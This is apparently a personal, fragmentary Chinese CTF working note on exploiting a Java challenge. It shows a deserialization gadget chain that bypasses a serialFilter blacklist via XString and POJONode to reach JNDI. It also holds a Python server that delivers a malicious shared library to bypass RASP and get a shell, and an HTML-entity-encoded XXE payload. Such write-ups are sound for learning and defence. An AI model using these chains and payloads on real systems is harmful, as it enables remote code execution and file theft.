Pasted%20image%2020240429225752
禁用了
Pasted%20image%2020240429225944
没有启用该 disallow-doctype-decl 功能或禁用 external-general-entities 和 external-parameter-entities
可以html编码绕过

Pasted%20image%2020240429230035

ban了四个类
Pasted%20image%2020240429230322
这个2006年的类

哥们,这你能发现
Pasted%20image%2020240429230311

还有一条?

SerializableRenderedImage#readObject 
-> SerializableRenderedImage#decodeRasterFromByteArray
-> RawTileDecoder#decode
-> ObjectInputStream#readObect

没找到啊

decode确实在
Pasted%20image%2020240429232203

直接就读了,调用decode的SerializableRenderedImage#decodeRasterFromByteArray我好像没找到

找到了
Pasted%20image%2020240430092521

java conf目录下有

jdk.serialFilter=!javax.management.BadAttributeValueExpException;!sun.print.*;!java.security.*;!java.util.Hashtable;!com.sun.rowset.*;!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

禁用了TemplatesImpl

com.sun.rowset.* 可以提醒您JNDI攻击 JdbcRowSetImpl 的小工具

这你又知道了??

然后由于bad那个toString被禁用了.
hashmap里有equal
com.sun.org.apache.xpath.internal.objects.XString里的equal
Pasted%20image%2020240429233607

能触发toString

XString xString = new XString("xxx");
POJONode pojoNode = new POJONode(ldapAttribute);
HashMap map1 = new HashMap();
map1.put("to", pojoNode);
map1.put("v1", xString);

HashMap map2 = new HashMap();
map2.put("to", xString);
map2.put("v1", pojoNode);
HashMap finalMap = makeMap(map1, map2);

触发了POJONode的LdapAttribute的getter方法

没禁用 的 话是可以
Pasted%20image%2020240429233852

相当于是一样换个触发点了
Pasted%20image%2020240429233946

直接打jndi

jdk 的当前版本是 15,因此 TRUST_CODE_BASE 默认为 false 并且我们无法远程加载恶意类。但是,只要此类实现 javax.naming.spi.ObjectFactory 并定义 getObjectInstance() 方法,仍然可以利用它来从类路径加载类。

Pasted%20image%2020240429234215

但是加了RASP

Pasted%20image%2020240430002218

在 init 函数中调用 System.load() 加载带有危险代码的恶意共享库,草,又回去了,x1r0z的博客都有哇

from tornado.ioloop import IOLoop
import tornado.web
import time

class MainHandler(tornado.web.RequestHandler):
def get(self):

with open("bypassrasp.so","rb") as file:
self.write(file.read())
self.flush()
time.sleep(99999)
self.finish()

if __name__ == "__main__":
application = tornado.web.Application([
(r'/get_so.zip', MainHandler),
])
port = 8990
application.listen(port)
print("Listening on port "+str(port))
IOLoop.instance().start()

利用sleep,把下载文件保存在tmp目录下,然后利用加载so文件getshell
Pasted%20image%2020240430021426

Pasted%20image%2020240430022341


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % a
"&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#116;&#109;&#112;&#34;&#62;"> %a;
]>
<message>
&xxe;
</message>

解码是<!ENTITY xxe SYSTEM "file:///tmp">

停一下,中间思路断了,要是有wp就好了